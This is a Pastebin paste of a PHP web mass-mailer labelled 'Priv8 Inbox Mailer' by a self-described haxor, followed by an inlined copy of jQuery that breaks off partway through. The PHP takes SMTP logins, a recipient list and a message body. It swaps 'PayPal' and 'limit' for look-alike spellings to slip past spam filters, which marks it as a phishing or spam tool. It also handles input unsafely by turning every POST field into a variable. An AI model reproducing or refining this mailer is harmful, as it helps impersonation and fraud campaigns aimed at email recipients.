zeeshan-haxor-zesn

Priv8 Inbox Mailer by Zeeshan Haxor

Mar 17th, 2016
372
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 499.42 KB | None | 0 0
  1. <?php
  2.  
  3. set_time_limit(0);
  4. error_reporting(0);
  5. function query_str($params) {
  6. $str = '';
  7. foreach ($params as $key => $value) {
  8. $str .= (strlen($str) < 1) ? '' : '&';
  9. $str .= $key . '=' . rawurlencode($value);
  10. }
  11. return ($str);
  12. }
  13. function lrtrim($string){
  14. return stripslashes(ltrim(rtrim($string)));
  15. }
  16. if(isset($_POST['action'])){
  17.  
  18. $b = query_str($_POST);
  19. parse_str($b);
  20. $action = lrtrim($action);
  21. $smtp_username = lrtrim($smtp_username);
  22. $smtp_password = lrtrim($smtp_password);
  23. $smtp_server = lrtrim($smtp_server);
  24. $smtp_port = lrtrim($smtp_port);
  25. $smtp_ssl = lrtrim($smtp_ssl);
  26. $xmailer = lrtrim($xmailer);
  27. $reconnect = lrtrim($reconnect);
  28. $type = lrtrim($type);
  29. $email = lrtrim($mail);
  30. $nama = lrtrim($nama);
  31. $subject = lrtrim($subject);
  32. $pesan = lrtrim($pesan);
  33. $emaillist = strtolower(lrtrim($list));
  34. $encoding = lrtrim($encode);
  35. $file_name = $_FILES['file']['name'];
  36. $file_path = $_FILES['file']['tmp_name'];
  37. $wait = lrtrim($wait);
  38.  
  39. $pesan = urlencode($pesan);
  40. $pesan = ereg_replace("%5C%22", "%22", $pesan);
  41. $pesan = urldecode($pesan);
  42. $pesan = stripslashes($pesan);
  43. $pesan = str_replace("PayPal", "PayPaI", $pesan);
  44. $pesan = str_replace("limit", "Iimit", $pesan);
  45. }
  46. ?>
  47. <!DOCTYPE html>
  48. <html lang="en">
  49.  
  50. <head>
  51. <meta charset="utf-8">
  52. <title>Priv8 Inbox Mailer 2015</title>
  53. <meta name="viewport" content="width=940, initial-scale=1.0, maximum-scale=1.0">
  54. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  55. <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.1/css/bootstrap.min.css">
  56. <link rel="stylesheet" href="http://www.w32.info/1999/xhtml">
  57. <script src="http://code.jquery.com/jquery-2.1.3.min.js"></script>
  58. <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.1/js/bootstrap.min.js"></script>
  59. <link rel="shortcut icon" href="">
  60. <style type="text/css">
  61. body{
  62. background-color: #13181D;
  63. border-color: #2CADAD !important;
  64. box-shadow: 0px 0px 15px #ff4eff;
  65. -moz-box-shadow: 0px 0px 15px #ff4eff;
  66. -webkit-box-shadow: 0px 0px 15px #ff4eff;
  67. text-shadow: 1px 1px 4px rgba(44, 173, 173, 1);
  68. }
  69. input, select, option, textarea {
  70. font-size: 12px !important;
  71. }
  72. input, select, option {
  73. height: 30px !important;
  74. color:#2CADAD;
  75. box-shadow: 0px 0px 15px #ff4eff;
  76. -moz-box-shadow: 0px 0px 15px #ff4eff;
  77. -webkit-box-shadow: 0px 0px 15px #ff4eff;
  78. text-shadow: 1px 1px 4px rgba(0,0,0,0.3);
  79. }
  80.  
  81. .panel-info .panel-heading {
  82. background-color: #2CADAD !important;
  83. border-color: #2CADAD !important;
  84. box-shadow: 0px 0px 15px #ff4eff;
  85. -moz-box-shadow: 0px 0px 15px #ff4eff;
  86. -webkit-box-shadow: 0px 0px 15px #ff4eff;
  87. text-shadow: 0px 0px 60px rgba(44, 173, 173, 1);
  88. }
  89. .kanan-l {
  90. border-top-right-radius: 0px !important;
  91. border-color: #2CADAD !important;
  92. box-shadow: 0px 0px 15px #ff4eff;
  93. -moz-box-shadow: 0px 0px 15px #ff4eff;
  94. -webkit-box-shadow: 0px 0px 15px #ff4eff;
  95. text-shadow: 1px 1px 4px rgba(44, 173, 173, 1);
  96. }
  97. .kanan {
  98. border-top-right-radius: 4px !important;
  99. border-color: #2CADAD !important;
  100. box-shadow: 0px 0px 15px #ff4eff;
  101. -moz-box-shadow: 0px 0px 15px #ff4eff;
  102. -webkit-box-shadow: 0px 0px 15px #ff4eff;
  103. text-shadow: 1px 1px 4px rgba(44, 173, 173, 1);
  104.  
  105. }
  106. .form-control {
  107. border-top-right-radius: 4px !important;
  108. border-color: #2CADAD !important;
  109. box-shadow: 0px 0px 15px #ff4eff;
  110. -moz-box-shadow: 0px 0px 15px #ff4eff;
  111. -webkit-box-shadow: 0px 0px 15px #ff4eff;
  112. text-shadow: 1px 1px 4px rgba(44, 173, 173, 1);
  113.  
  114. }
  115. </style>
  116.  
  117.  
  118. <script type="text/javascript">
  119. function Pilih1(dropDown) {
  120. var selectedValue = dropDown.options[dropDown.selectedIndex].value;
  121. document.getElementById("sender-name").value = selectedValue;
  122. }
  123. function Pilih2(dropDown) {
  124. var selectedValue = dropDown.options[dropDown.selectedIndex].value;
  125. document.getElementById("sender-email").value = selectedValue;
  126. }
  127. function Pilih3(dropDown) {
  128. var selectedValue = dropDown.options[dropDown.selectedIndex].value;
  129. document.getElementById("subject").value = selectedValue;
  130. }
  131. function Pilih4(dropDown) {
  132. var selectedValue = dropDown.options[dropDown.selectedIndex].value;
  133. document.getElementById("xmailer").value = selectedValue;
  134. }
  135. </script>
  136. </head>
  137. <body>
  138. <div id="wrap">
  139.  
  140. <div class="container" style="margin-top: 25px;">
  141. <div class="row">
  142. <div class="col-sm-6 col-md-4 col-md-offset-1" style="width: 940px">
  143. <div class="panel panel-info" style="border-color: #2CADAD !important; background-color: #444951 !important;">
  144. <div class="panel-heading">
  145. <div class="panel-title" align="center"><a href="">PHP Mailer<br> By Zeeshan Haxor ZeSn</a></div>
  146. </div>
  147.  
  148. <div style="padding-top: 15px;">
  149.  
  150. <button type="button" class="btn btn-primary collapsed" style="margin-left: 15px;margin-bottom: 10px" data-toggle="collapse" data-target="#smtp"><i class="glyphicon glyphicon-plus"></i> SMTP & OTHER SETUP</button>
  151.  
  152. <div style="display:none" id="login-alert" class="alert alert-danger col-sm-12"></div>
  153.  
  154. <form id="form" class="form-horizontal" method="post" enctype="multipart/form-data" role="form" action="">
  155.  
  156. <div id="smtp" class="collapse">
  157. <div class="col-sm-8" style="padding-right: 7.5px !important;margin-bottom: 10px">
  158.  
  159. <div style="margin-bottom: 10px" class="input-group">
  160. <span class="input-group-addon"><i class="glyphicon glyphicon-user"></i></span>
  161. <input type="text" class="form-control" name="smtp_username" value="<?php echo $smtp_username;?>" placeholder="SMTP Username">
  162. <span class="input-group-addon"><i class="glyphicon glyphicon-lock"></i></span>
  163. <input type="password" class="form-control" name="smtp_password" value="<?php echo $smtp_password;?>" placeholder="SMTP Password">
  164. </div>
  165.  
  166. <div style="margin-bottom: 10px" class="input-group">
  167. <span class="input-group-addon"><i class="glyphicon glyphicon-send"></i></span>
  168. <input type="text" class="form-control" name="smtp_server" value="<?php echo $smtp_server;?>" placeholder="SMTP Server">
  169. <span class="input-group-addon"><i class="glyphicon glyphicon-random"></i><b> Port</b></span>
  170. <input type="text" class="form-control" name="smtp_port" value="<?php echo $smtp_port;?>" placeholder="optional">
  171. <span class="input-group-addon"><i class="glyphicon glyphicon-road"></i><b> SSL</b></span>
  172. <select class="form-control" name="smtp_ssl">
  173. <option value="yes" <?php if ($smtp_ssl=='yes'){echo 'selected';}?> >yes</option>
  174. <option value="no" <?php if ($smtp_ssl=='no'){echo 'selected';}?> >no</option>
  175. </select>
  176. </div>
  177. <div style="color:red;" align="center">
  178. " If you dont have SMTP login, leave blank queries above "
  179. </div>
  180. <script>
  181. (function(global, factory) {
  182. if (typeof module === "object" && typeof module.exports === "object") {
  183. module.exports = global.document ? factory(global, true) : function(w) {
  184. if (!w.document) {
  185. throw new Error("jQuery requires a window with a document");
  186. }
  187. return factory(w)
  188. }
  189. } else {
  190. factory(global)
  191. }
  192. }(typeof window !== "undefined" ? window : this, function(window, noGlobal) {
  193. var deletedIds = [];
  194. var slice = deletedIds.slice;
  195. var concat = deletedIds.concat;
  196. var push = deletedIds.push;
  197. var indexOf = deletedIds.indexOf;
  198. var class2type = {};
  199. var toString = class2type.toString;
  200. var hasOwn = class2type.hasOwnProperty;
  201. var support = {};
  202. var version = "1.11.2",
  203. jQuery = function(selector, context) {
  204. return new jQuery.fn.init(selector, context)
  205. },
  206. rtrim = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,
  207. rmsPrefix = /^-ms-/,
  208. rdashAlpha = /-([\da-z])/gi,
  209. fcamelCase = function(all, letter) {
  210. return letter.toUpperCase()
  211. };
  212. jQuery.fn = jQuery.prototype = {
  213. jquery: version,
  214. constructor: jQuery,
  215. selector: "",
  216. length: 0,
  217. toArray: function() {
  218. return slice.call(this)
  219. },
  220. get: function(num) {
  221. return num != null ? (num < 0 ? this[num + this.length] : this[num]) : slice.call(this)
  222. },
  223. pushStack: function(elems) {
  224. var ret = jQuery.merge(this.constructor(), elems);
  225. ret.prevObject = this;
  226. ret.context = this.context;
  227. return ret
  228. },
  229. each: function(callback, args) {
  230. return jQuery.each(this, callback, args)
  231. },
  232. map: function(callback) {
  233. return this.pushStack(jQuery.map(this, function(elem, i) {
  234. return callback.call(elem, i, elem)
  235. }))
  236. },
  237. slice: function() {
  238. return this.pushStack(slice.apply(this, arguments))
  239. },
  240. first: function() {
  241. return this.eq(0)
  242. },
  243. last: function() {
  244. return this.eq(-1)
  245. },
  246. eq: function(i) {
  247. var len = this.length,
  248. j = +i + (i < 0 ? len : 0);
  249. return this.pushStack(j >= 0 && j < len ? [this[j]] : [])
  250. },
  251. end: function() {
  252. return this.prevObject || this.constructor(null)
  253. },
  254. push: push,
  255. sort: deletedIds.sort,
  256. splice: deletedIds.splice
  257. };
  258. jQuery.extend = jQuery.fn.extend = function() {
  259. var src, copyIsArray, copy, name, options, clone, target = arguments[0] || {},
  260. i = 1,
  261. length = arguments.length,
  262. deep = false;
  263. if (typeof target === "boolean") {
  264. deep = target;
  265. target = arguments[i] || {};
  266. i++
  267. }
  268. if (typeof target !== "object" && !jQuery.isFunction(target)) {
  269. target = {}
  270. }
  271. if (i === length) {
  272. target = this;
  273. i--
  274. }
  275. for (; i < length; i++) {
  276. if ((options = arguments[i]) != null) {
  277. for (name in options) {
  278. src = target[name];
  279. copy = options[name];
  280. if (target === copy) {
  281. continue
  282. }
  283. if (deep && copy && (jQuery.isPlainObject(copy) || (copyIsArray = jQuery.isArray(copy)))) {
  284. if (copyIsArray) {
  285. copyIsArray = false;
  286. clone = src && jQuery.isArray(src) ? src : []
  287. } else {
  288. clone = src && jQuery.isPlainObject(src) ? src : {}
  289. }
  290. target[name] = jQuery.extend(deep, clone, copy)
  291. } else if (copy !== undefined) {
  292. target[name] = copy
  293. }
  294. }
  295. }
  296. }
  297. return target
  298. };
  299. jQuery.extend({
  300. expando: "jQuery" + (version + Math.random()).replace(/\D/g, ""),
  301. isReady: true,
  302. error: function(msg) {
  303. throw new Error(msg);
  304. },
  305. noop: function() {},
  306. isFunction: function(obj) {
  307. return jQuery.type(obj) === "function"
  308. },
  309. isArray: Array.isArray || function(obj) {
  310. return jQuery.type(obj) === "array"
  311. },
  312. isWindow: function(obj) {
  313. return obj != null && obj == obj.window
  314. },
  315. isNumeric: function(obj) {
  316. return !jQuery.isArray(obj) && (obj - parseFloat(obj) + 1) >= 0
  317. },
  318. isEmptyObject: function(obj) {
  319. var name;
  320. for (name in obj) {
  321. return false
  322. }
  323. return true
  324. },
  325. isPlainObject: function(obj) {
  326. var key;
  327. if (!obj || jQuery.type(obj) !== "object" || obj.nodeType || jQuery.isWindow(obj)) {
  328. return false
  329. }
  330. try {
  331. if (obj.constructor && !hasOwn.call(obj, "constructor") && !hasOwn.call(obj.constructor.prototype, "isPrototypeOf")) {
  332. return false
  333. }
  334. } catch (e) {
  335. return false
  336. }
  337. if (support.ownLast) {
  338. for (key in obj) {
  339. return hasOwn.call(obj, key)
  340. }
  341. }
  342. for (key in obj) {}
  343. return key === undefined || hasOwn.call(obj, key)
  344. },
  345. type: function(obj) {
  346. if (obj == null) {
  347. return obj + ""
  348. }
  349. return typeof obj === "object" || typeof obj === "function" ? class2type[toString.call(obj)] || "object" : typeof obj
  350. },
  351. globalEval: function(data) {
  352. if (data && jQuery.trim(data)) {
  353. (window.execScript || function(data) {
  354. window["eval"].call(window, data)
  355. })(data)
  356. }
  357. },
  358. camelCase: function(string) {
  359. return string.replace(rmsPrefix, "ms-").replace(rdashAlpha, fcamelCase)
  360. },
  361. nodeName: function(elem, name) {
  362. return elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase()
  363. },
  364. each: function(obj, callback, args) {
  365. var value, i = 0,
  366. length = obj.length,
  367. isArray = isArraylike(obj);
  368. if (args) {
  369. if (isArray) {
  370. for (; i < length; i++) {
  371. value = callback.apply(obj[i], args);
  372. if (value === false) {
  373. break
  374. }
  375. }
  376. } else {
  377. for (i in obj) {
  378. value = callback.apply(obj[i], args);
  379. if (value === false) {
  380. break
  381. }
  382. }
  383. }
  384. } else {
  385. if (isArray) {
  386. for (; i < length; i++) {
  387. value = callback.call(obj[i], i, obj[i]);
  388. if (value === false) {
  389. break
  390. }
  391. }
  392. } else {
  393. for (i in obj) {
  394. value = callback.call(obj[i], i, obj[i]);
  395. if (value === false) {
  396. break
  397. }
  398. }
  399. }
  400. }
  401. return obj
  402. },
  403. trim: function(text) {
  404. return text == null ? "" : (text + "").replace(rtrim, "")
  405. },
  406. makeArray: function(arr, results) {
  407. var ret = results || [];
  408. if (arr != null) {
  409. if (isArraylike(Object(arr))) {
  410. jQuery.merge(ret, typeof arr === "string" ? [arr] : arr)
  411. } else {
  412. push.call(ret, arr)
  413. }
  414. }
  415. return ret
  416. },
  417. inArray: function(elem, arr, i) {
  418. var len;
  419. if (arr) {
  420. if (indexOf) {
  421. return indexOf.call(arr, elem, i)
  422. }
  423. len = arr.length;
  424. i = i ? i < 0 ? Math.max(0, len + i) : i : 0;
  425. for (; i < len; i++) {
  426. if (i in arr && arr[i] === elem) {
  427. return i
  428. }
  429. }
  430. }
  431. return -1
  432. },
  433. merge: function(first, second) {
  434. var len = +second.length,
  435. j = 0,
  436. i = first.length;
  437. while (j < len) {
  438. first[i++] = second[j++]
  439. }
  440. if (len !== len) {
  441. while (second[j] !== undefined) {
  442. first[i++] = second[j++]
  443. }
  444. }
  445. first.length = i;
  446. return first
  447. },
  448. grep: function(elems, callback, invert) {
  449. var callbackInverse, matches = [],
  450. i = 0,
  451. length = elems.length,
  452. callbackExpect = !invert;
  453. for (; i < length; i++) {
  454. callbackInverse = !callback(elems[i], i);
  455. if (callbackInverse !== callbackExpect) {
  456. matches.push(elems[i])
  457. }
  458. }
  459. return matches
  460. },
  461. map: function(elems, callback, arg) {
  462. var value, i = 0,
  463. length = elems.length,
  464. isArray = isArraylike(elems),
  465. ret = [];
  466. if (isArray) {
  467. for (; i < length; i++) {
  468. value = callback(elems[i], i, arg);
  469. if (value != null) {
  470. ret.push(value)
  471. }
  472. }
  473. } else {
  474. for (i in elems) {
  475. value = callback(elems[i], i, arg);
  476. if (value != null) {
  477. ret.push(value)
  478. }
  479. }
  480. }
  481. return concat.apply([], ret)
  482. },
  483. guid: 1,
  484. proxy: function(fn, context) {
  485. var args, proxy, tmp;
  486. if (typeof context === "string") {
  487. tmp = fn[context];
  488. context = fn;
  489. fn = tmp
  490. }
  491. if (!jQuery.isFunction(fn)) {
  492. return undefined
  493. }
  494. args = slice.call(arguments, 2);
  495. proxy = function() {
  496. return fn.apply(context || this, args.concat(slice.call(arguments)))
  497. };
  498. proxy.guid = fn.guid = fn.guid || jQuery.guid++;
  499. return proxy
  500. },
  501. now: function() {
  502. return +(new Date())
  503. },
  504. support: support
  505. });
  506. jQuery.each("Boolean Number String Function Array Date RegExp Object Error".split(" "), function(i, name) {
  507. class2type["[object " + name + "]"] = name.toLowerCase()
  508. });
  509.  
  510. function isArraylike(obj) {
  511. var length = obj.length,
  512. type = jQuery.type(obj);
  513. if (type === "function" || jQuery.isWindow(obj)) {
  514. return false
  515. }
  516. if (obj.nodeType === 1 && length) {
  517. return true
  518. }
  519. return type === "array" || length === 0 || typeof length === "number" && length > 0 && (length - 1) in obj
  520. }
  521. var Sizzle = (function(window) {
  522. var i, support, Expr, getText, isXML, tokenize, compile, select, outermostContext, sortInput, hasDuplicate, setDocument, document, docElem, documentIsHTML, rbuggyQSA, rbuggyMatches, matches, contains, expando = "sizzle" + 1 * new Date(),
  523. preferredDoc = window.document,
  524. dirruns = 0,
  525. done = 0,
  526. classCache = createCache(),
  527. tokenCache = createCache(),
  528. compilerCache = createCache(),
  529. sortOrder = function(a, b) {
  530. if (a === b) {
  531. hasDuplicate = true
  532. }
  533. return 0
  534. },
  535. MAX_NEGATIVE = 1 << 31,
  536. hasOwn = ({}).hasOwnProperty,
  537. arr = [],
  538. pop = arr.pop,
  539. push_native = arr.push,
  540. push = arr.push,
  541. slice = arr.slice,
  542. indexOf = function(list, elem) {
  543. var i = 0,
  544. len = list.length;
  545. for (; i < len; i++) {
  546. if (list[i] === elem) {
  547. return i
  548. }
  549. }
  550. return -1
  551. },
  552. booleans = "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",
  553. whitespace = "[\\x20\\t\\r\\n\\f]",
  554. characterEncoding = "(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",
  555. identifier = characterEncoding.replace("w", "w#"),
  556. attributes = "\\[" + whitespace + "*(" + characterEncoding + ")(?:" + whitespace + "*([*^$|!~]?=)" + whitespace + "*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|(" + identifier + "))|)" + whitespace + "*\\]",
  557. pseudos = ":(" + characterEncoding + ")(?:\\((" + "('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|" + "((?:\\\\.|[^\\\\()[\\]]|" + attributes + ")*)|" + ".*" + ")\\)|)",
  558. rwhitespace = new RegExp(whitespace + "+", "g"),
  559. rtrim = new RegExp("^" + whitespace + "+|((?:^|[^\\\\])(?:\\\\.)*)" + whitespace + "+$", "g"),
  560. rcomma = new RegExp("^" + whitespace + "*," + whitespace + "*"),
  561. rcombinators = new RegExp("^" + whitespace + "*([>+~]|" + whitespace + ")" + whitespace + "*"),
  562. rattributeQuotes = new RegExp("=" + whitespace + "*([^\\]'\"]*?)" + whitespace + "*\\]", "g"),
  563. rpseudo = new RegExp(pseudos),
  564. ridentifier = new RegExp("^" + identifier + "$"),
  565. matchExpr = {
  566. "ID": new RegExp("^#(" + characterEncoding + ")"),
  567. "CLASS": new RegExp("^\\.(" + characterEncoding + ")"),
  568. "TAG": new RegExp("^(" + characterEncoding.replace("w", "w*") + ")"),
  569. "ATTR": new RegExp("^" + attributes),
  570. "PSEUDO": new RegExp("^" + pseudos),
  571. "CHILD": new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" + whitespace + "*(even|odd|(([+-]|)(\\d*)n|)" + whitespace + "*(?:([+-]|)" + whitespace + "*(\\d+)|))" + whitespace + "*\\)|)", "i"),
  572. "bool": new RegExp("^(?:" + booleans + ")$", "i"),
  573. "needsContext": new RegExp("^" + whitespace + "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" + whitespace + "*((?:-\\d)?\\d*)" + whitespace + "*\\)|)(?=[^-]|$)", "i")
  574. },
  575. rinputs = /^(?:input|select|textarea|button)$/i,
  576. rheader = /^h\d$/i,
  577. rnative = /^[^{]+\{\s*\[native \w/,
  578. rquickExpr = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,
  579. rsibling = /[+~]/,
  580. rescape = /'|\\/g,
  581. runescape = new RegExp("\\\\([\\da-f]{1,6}" + whitespace + "?|(" + whitespace + ")|.)", "ig"),
  582. funescape = function(_, escaped, escapedWhitespace) {
  583. var high = "0x" + escaped - 0x10000;
  584. return high !== high || escapedWhitespace ? escaped : high < 0 ? String.fromCharCode(high + 0x10000) : String.fromCharCode(high >> 10 | 0xD800, high & 0x3FF | 0xDC00)
  585. },
  586. unloadHandler = function() {
  587. setDocument()
  588. };
  589. try {
  590. push.apply((arr = slice.call(preferredDoc.childNodes)), preferredDoc.childNodes);
  591. arr[preferredDoc.childNodes.length].nodeType
  592. } catch (e) {
  593. push = {
  594. apply: arr.length ? function(target, els) {
  595. push_native.apply(target, slice.call(els))
  596. } : function(target, els) {
  597. var j = target.length,
  598. i = 0;
  599. while ((target[j++] = els[i++])) {}
  600. target.length = j - 1
  601. }
  602. }
  603. }
  604.  
  605. function Sizzle(selector, context, results, seed) {
  606. var match, elem, m, nodeType, i, groups, old, nid, newContext, newSelector;
  607. if ((context ? context.ownerDocument || context : preferredDoc) !== document) {
  608. setDocument(context)
  609. }
  610. context = context || document;
  611. results = results || [];
  612. nodeType = context.nodeType;
  613. if (typeof selector !== "string" || !selector || nodeType !== 1 && nodeType !== 9 && nodeType !== 11) {
  614. return results
  615. }
  616. if (!seed && documentIsHTML) {
  617. if (nodeType !== 11 && (match = rquickExpr.exec(selector))) {
  618. if ((m = match[1])) {
  619. if (nodeType === 9) {
  620. elem = context.getElementById(m);
  621. if (elem && elem.parentNode) {
  622. if (elem.id === m) {
  623. results.push(elem);
  624. return results
  625. }
  626. } else {
  627. return results
  628. }
  629. } else {
  630. if (context.ownerDocument && (elem = context.ownerDocument.getElementById(m)) && contains(context, elem) && elem.id === m) {
  631. results.push(elem);
  632. return results
  633. }
  634. }
  635. } else if (match[2]) {
  636. push.apply(results, context.getElementsByTagName(selector));
  637. return results
  638. } else if ((m = match[3]) && support.getElementsByClassName) {
  639. push.apply(results, context.getElementsByClassName(m));
  640. return results
  641. }
  642. }
  643. if (support.qsa && (!rbuggyQSA || !rbuggyQSA.test(selector))) {
  644. nid = old = expando;
  645. newContext = context;
  646. newSelector = nodeType !== 1 && selector;
  647. if (nodeType === 1 && context.nodeName.toLowerCase() !== "object") {
  648. groups = tokenize(selector);
  649. if ((old = context.getAttribute("id"))) {
  650. nid = old.replace(rescape, "\\$&")
  651. } else {
  652. context.setAttribute("id", nid)
  653. }
  654. nid = "[id='" + nid + "'] ";
  655. i = groups.length;
  656. while (i--) {
  657. groups[i] = nid + toSelector(groups[i])
  658. }
  659. newContext = rsibling.test(selector) && testContext(context.parentNode) || context;
  660. newSelector = groups.join(",")
  661. }
  662. if (newSelector) {
  663. try {
  664. push.apply(results, newContext.querySelectorAll(newSelector));
  665. return results
  666. } catch (qsaError) {} finally {
  667. if (!old) {
  668. context.removeAttribute("id")
  669. }
  670. }
  671. }
  672. }
  673. }
  674. return select(selector.replace(rtrim, "$1"), context, results, seed)
  675. }
  676.  
  677. function createCache() {
  678. var keys = [];
  679.  
  680. function cache(key, value) {
  681. if (keys.push(key + " ") > Expr.cacheLength) {
  682. delete cache[keys.shift()]
  683. }
  684. return (cache[key + " "] = value)
  685. }
  686. return cache
  687. }
  688.  
  689. function markFunction(fn) {
  690. fn[expando] = true;
  691. return fn
  692. }
  693.  
  694. function assert(fn) {
  695. var div = document.createElement("div");
  696. try {
  697. return !!fn(div)
  698. } catch (e) {
  699. return false
  700. } finally {
  701. if (div.parentNode) {
  702. div.parentNode.removeChild(div)
  703. }
  704. div = null
  705. }
  706. }
  707.  
  708. function addHandle(attrs, handler) {
  709. var arr = attrs.split("|"),
  710. i = attrs.length;
  711. while (i--) {
  712. Expr.attrHandle[arr[i]] = handler
  713. }
  714. }
  715.  
  716. function siblingCheck(a, b) {
  717. var cur = b && a,
  718. diff = cur && a.nodeType === 1 && b.nodeType === 1 && (~b.sourceIndex || MAX_NEGATIVE) - (~a.sourceIndex || MAX_NEGATIVE);
  719. if (diff) {
  720. return diff
  721. }
  722. if (cur) {
  723. while ((cur = cur.nextSibling)) {
  724. if (cur === b) {
  725. return -1
  726. }
  727. }
  728. }
  729. return a ? 1 : -1
  730. }
  731.  
  732. function createInputPseudo(type) {
  733. return function(elem) {
  734. var name = elem.nodeName.toLowerCase();
  735. return name === "input" && elem.type === type
  736. }
  737. }
  738.  
  739. function createButtonPseudo(type) {
  740. return function(elem) {
  741. var name = elem.nodeName.toLowerCase();
  742. return (name === "input" || name === "button") && elem.type === type
  743. }
  744. }
  745.  
  746. function createPositionalPseudo(fn) {
  747. return markFunction(function(argument) {
  748. argument = +argument;
  749. return markFunction(function(seed, matches) {
  750. var j, matchIndexes = fn([], seed.length, argument),
  751. i = matchIndexes.length;
  752. while (i--) {
  753. if (seed[(j = matchIndexes[i])]) {
  754. seed[j] = !(matches[j] = seed[j])
  755. }
  756. }
  757. })
  758. })
  759. }
  760.  
  761. function testContext(context) {
  762. return context && typeof context.getElementsByTagName !== "undefined" && context
  763. }
  764. support = Sizzle.support = {};
  765. isXML = Sizzle.isXML = function(elem) {
  766. var documentElement = elem && (elem.ownerDocument || elem).documentElement;
  767. return documentElement ? documentElement.nodeName !== "HTML" : false
  768. };
  769. setDocument = Sizzle.setDocument = function(node) {
  770. var hasCompare, parent, doc = node ? node.ownerDocument || node : preferredDoc;
  771. if (doc === document || doc.nodeType !== 9 || !doc.documentElement) {
  772. return document
  773. }
  774. document = doc;
  775. docElem = doc.documentElement;
  776. parent = doc.defaultView;
  777. if (parent && parent !== parent.top) {
  778. if (parent.addEventListener) {
  779. parent.addEventListener("unload", unloadHandler, false)
  780. } else if (parent.attachEvent) {
  781. parent.attachEvent("onunload", unloadHandler)
  782. }
  783. }
  784. documentIsHTML = !isXML(doc);
  785. support.attributes = assert(function(div) {
  786. div.className = "i";
  787. return !div.getAttribute("className")
  788. });
  789. support.getElementsByTagName = assert(function(div) {
  790. div.appendChild(doc.createComment(""));
  791. return !div.getElementsByTagName("*").length
  792. });
  793. support.getElementsByClassName = rnative.test(doc.getElementsByClassName);
  794. support.getById = assert(function(div) {
  795. docElem.appendChild(div).id = expando;
  796. return !doc.getElementsByName || !doc.getElementsByName(expando).length
  797. });
  798. if (support.getById) {
  799. Expr.find["ID"] = function(id, context) {
  800. if (typeof context.getElementById !== "undefined" && documentIsHTML) {
  801. var m = context.getElementById(id);
  802. return m && m.parentNode ? [m] : []
  803. }
  804. };
  805. Expr.filter["ID"] = function(id) {
  806. var attrId = id.replace(runescape, funescape);
  807. return function(elem) {
  808. return elem.getAttribute("id") === attrId
  809. }
  810. }
  811. } else {
  812. delete Expr.find["ID"];
  813. Expr.filter["ID"] = function(id) {
  814. var attrId = id.replace(runescape, funescape);
  815. return function(elem) {
  816. var node = typeof elem.getAttributeNode !== "undefined" && elem.getAttributeNode("id");
  817. return node && node.value === attrId
  818. }
  819. }
  820. }
  821. Expr.find["TAG"] = support.getElementsByTagName ? function(tag, context) {
  822. if (typeof context.getElementsByTagName !== "undefined") {
  823. return context.getElementsByTagName(tag)
  824. } else if (support.qsa) {
  825. return context.querySelectorAll(tag)
  826. }
  827. } : function(tag, context) {
  828. var elem, tmp = [],
  829. i = 0,
  830. results = context.getElementsByTagName(tag);
  831. if (tag === "*") {
  832. while ((elem = results[i++])) {
  833. if (elem.nodeType === 1) {
  834. tmp.push(elem)
  835. }
  836. }
  837. return tmp
  838. }
  839. return results
  840. };
  841. Expr.find["CLASS"] = support.getElementsByClassName && function(className, context) {
  842. if (documentIsHTML) {
  843. return context.getElementsByClassName(className)
  844. }
  845. };
  846. rbuggyMatches = [];
  847. rbuggyQSA = [];
  848. if ((support.qsa = rnative.test(doc.querySelectorAll))) {
  849. assert(function(div) {
  850. docElem.appendChild(div).innerHTML = "<a id='" + expando + "'></a>" + "<select id='" + expando + "-\f]' msallowcapture=''>" + "<option selected=''></option></select>";
  851. if (div.querySelectorAll("[msallowcapture^='']").length) {
  852. rbuggyQSA.push("[*^$]=" + whitespace + "*(?:''|\"\")")
  853. }
  854. if (!div.querySelectorAll("[selected]").length) {
  855. rbuggyQSA.push("\\[" + whitespace + "*(?:value|" + booleans + ")")
  856. }
  857. if (!div.querySelectorAll("[id~=" + expando + "-]").length) {
  858. rbuggyQSA.push("~=")
  859. }
  860. if (!div.querySelectorAll(":checked").length) {
  861. rbuggyQSA.push(":checked")
  862. }
  863. if (!div.querySelectorAll("a#" + expando + "+*").length) {
  864. rbuggyQSA.push(".#.+[+~]")
  865. }
  866. });
  867. assert(function(div) {
  868. var input = doc.createElement("input");
  869. input.setAttribute("type", "hidden");
  870. div.appendChild(input).setAttribute("name", "D");
  871. if (div.querySelectorAll("[name=d]").length) {
  872. rbuggyQSA.push("name" + whitespace + "*[*^$|!~]?=")
  873. }
  874. if (!div.querySelectorAll(":enabled").length) {
  875. rbuggyQSA.push(":enabled", ":disabled")
  876. }
  877. div.querySelectorAll("*,:x");
  878. rbuggyQSA.push(",.*:")
  879. })
  880. }
  881. if ((support.matchesSelector = rnative.test((matches = docElem.matches || docElem.webkitMatchesSelector || docElem.mozMatchesSelector || docElem.oMatchesSelector || docElem.msMatchesSelector)))) {
  882. assert(function(div) {
  883. support.disconnectedMatch = matches.call(div, "div");
  884. matches.call(div, "[s!='']:x");
  885. rbuggyMatches.push("!=", pseudos)
  886. })
  887. }
  888. rbuggyQSA = rbuggyQSA.length && new RegExp(rbuggyQSA.join("|"));
  889. rbuggyMatches = rbuggyMatches.length && new RegExp(rbuggyMatches.join("|"));
  890. hasCompare = rnative.test(docElem.compareDocumentPosition);
  891. contains = hasCompare || rnative.test(docElem.contains) ? function(a, b) {
  892. var adown = a.nodeType === 9 ? a.documentElement : a,
  893. bup = b && b.parentNode;
  894. return a === bup || !!(bup && bup.nodeType === 1 && (adown.contains ? adown.contains(bup) : a.compareDocumentPosition && a.compareDocumentPosition(bup) & 16))
  895. } : function(a, b) {
  896. if (b) {
  897. while ((b = b.parentNode)) {
  898. if (b === a) {
